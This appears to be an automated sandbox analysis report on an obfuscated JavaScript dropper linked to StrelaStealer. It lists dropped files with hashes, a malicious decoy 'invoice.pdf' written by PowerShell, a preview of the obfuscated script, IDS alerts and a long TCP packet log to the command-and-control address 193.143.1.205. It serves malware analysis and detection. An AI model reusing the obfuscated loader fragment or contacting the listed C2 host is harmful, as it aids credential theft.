Preview:	SessionID=ce353305-58e7-41c9-9889-8ca74655e80a.1736573834688 Timestamp=2025-01-11T00:37:14:688-0500 ThreadID=7892 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=ce353305-58e7-41c9-9889-8ca74655e80a.1736573834688 Timestamp=2025-01-11T00:37:14:691-0500 ThreadID=7892 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=ce353305-58e7-41c9-9889-8ca74655e80a.1736573834688 Timestamp=2025-01-11T00:37:14:691-0500 ThreadID=7892 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=ce353305-58e7-41c9-9889-8ca74655e80a.1736573834688 Timestamp=2025-01-11T00:37:14:691-0500 ThreadID=7892 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=ce353305-58e7-41c9-9889-8ca74655e80a.1736573834688 Timestamp=2025-01-11T00:37:14:692-0500 ThreadID=7892 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.389644332861645
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rn:z
MD5:	B6F8F37C86500662CC79FEBF228873C6
SHA1:	487410426A09494EE66DC4227453D357F290B79E
SHA-256:	E1511601874FF254CEEA9665076F3BD39A689C13ED7189C153C8B55E0C42C5C1
SHA-512:	D80F6F9D752F520F8E8B7C82A6025E7D93BB6A2F8B5D95801227DD31D1088CA898DAC39C0DAC0AF186A5CCDDDAC72507ECA6B9DCE8DA5C2D0AF4896D162EC95B
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\65f46e9b-cdbd-4011-a533-da58f97244cd.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\66c6bd64-45bd-451d-9ee5-788533f9de44.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/yKwYIGNPQbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oXGZd:bwZG2b3mlind9i4ufFXpAXkrfUs0qWLk
MD5:	D1BC27E013E1129B27D3BE5F4567D495
SHA1:	D2D1B846698798C80E57917477F7B98054B48925
SHA-256:	3EF526805CA6690C3E477DFD81BFD4B28B8D82CCA8E3641C3EDA0EC37F332DDC
SHA-512:	EBCEFA11F5BC59D602D90177B460B0F0DA59534D347FFBAF1A7C78118A3A221A02284E0A34164F6C0710C1B4E88504C4A20DA69AC998B5EE613A017B208316CB
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\8760059f-5d4b-43dc-a615-374651d15775.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\c5f512cd-51ae-4058-a4e3-bc49db8ddb86.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rwYIGNP4mOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TwZG6bWLxBGZN3mlind9i4ufFXpAXkru
MD5:	95F182500FC92778102336D2D5AADCC8
SHA1:	BEC510B6B3D595833AF46B04C5843B95D2A0A6C9
SHA-256:	9F9C041D7EE1DA404E53022D475B9E6D5924A17C08D5FDEC58C0A1DCDCC4D4C9
SHA-512:	D7C022459486D124CC6CDACEAD8D46E16EDC472F4780A27C29D98B35AD01A9BA95F62155433264CC12C32BFF384C7ECAFCE0AC45853326CBC622AE65EE0D90BA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16143), with CRLF line terminators
Entropy (8bit):	4.922049993032228
TrID:
File name:	20607103592010424982.js
File size:	19'664 bytes
MD5:	6b87f4571ca262881ddb7abc1b9da4a4
SHA1:	73432fdaea7b22fee4dd8b7772df739b5487fc55
SHA256:	8bfe6c6c99493ddb6538b010201313a7585aa1f9a6ea83b72a726ac486f0e259
SHA512:	b6b5a5f1517e0158b2b6a4fa6383ad97e9ef6523b7d365091f02ed893e6dffb9c644d4d7a5e356193f3bdfb33975bb9531d327d19ab2b8498db7fbeece9cbb6d
SSDEEP:	384:+S+TFL/SxBq9G+TFqdhqZMHspg/QEAEjip4xS54buTkj+r2X5JOvd0UxruGgje1a:+S+TFL/Sxo9G+TFqdhqZMMpg/Bxu4nx/
TLSH:	719261744C514311CFDC48B8705B01F7A9E921CA49D48589AACF24DEAF1E94BE0FAEB7
File Content Preview:	function bbmzobdf(){fmuavav=[1031,3079,5127,4103,2055,3072];var xcdbkzds=this[hwxgyblf+ojajyfgza+lbjeniz+stajjb+mlywezcm+ttuqu+hmwwn+dsqwcgdo](this[eidcpewk+oagrb+jrugnfan+lbjeniz+aztmuq+hwxgyblf+dsqwcgdo][lgtkp+lbjeniz+mlywezcm+ojajyfgza+dsqwcgdo+mlywezc

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T06:37:11.377570+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49731	193.143.1.205	80	TCP
2025-01-11T06:37:11.377570+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.4	49731	193.143.1.205	80	TCP
2025-01-11T06:37:13.580310+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49732	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:37:09.573317051 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:09.578437090 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:09.578533888 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:09.581497908 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:09.586399078 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.377301931 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.377329111 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.377341986 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.377382040 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.377388954 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.377401114 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.377412081 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.377423048 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.377434015 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.377445936 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.377549887 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.377569914 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.377569914 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.377569914 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.378036022 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.378078938 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.378712893 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.378750086 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.382376909 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.382431984 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.383543968 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.383557081 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.383594036 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.387104034 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.387123108 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.387190104 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.388287067 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.388309956 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.388355017 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.392237902 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.392256021 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.392313957 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.393429995 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.393444061 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.393455982 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.393486023 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.396908998 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.396922112 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.396956921 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.398180962 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.398192883 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.398222923 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.402354956 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.402369022 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.402398109 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.402895927 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.402909040 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.402921915 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.402940989 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.402959108 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.407208920 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.407227039 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.407284021 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.407797098 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.407812119 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.407851934 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.414402962 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.414417982 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.414428949 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.414442062 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.414469957 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.414510965 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.419765949 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.419781923 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.419792891 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.419806004 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.419817924 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.419821978 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.419847012 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.425033092 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.425049067 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.425060987 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.425107956 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.425141096 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.425157070 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.430356979 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.430371046 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.430382013 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.430417061 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.430443048 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.430625916 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.430639982 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.430680037 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.435688972 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.435703039 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.435766935 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.435957909 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.435976028 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.436023951 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.441091061 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.441107035 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.441159010 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.441369057 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.441384077 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.441395998 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.441445112 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.446368933 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.446382046 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.446441889 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.446788073 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.446799994 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.446829081 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.451072931 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.451087952 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.451132059 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.451453924 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.451467991 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.451478958 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.451500893 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.451519966 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.455843925 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.455858946 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.455903053 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.456201077 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.456213951 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.456250906 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.463505983 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.463519096 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.463531017 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.463542938 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.463567019 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.463583946 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.468871117 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.468884945 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.468897104 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.468908072 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.468919039 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.468924999 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.468943119 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.474189043 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.474204063 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.474236965 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.474322081 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.474334002 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.474358082 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.479331017 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.479342937 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.479351997 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.479379892 CET	49731	80	192.168.2.4	193.143.1.205
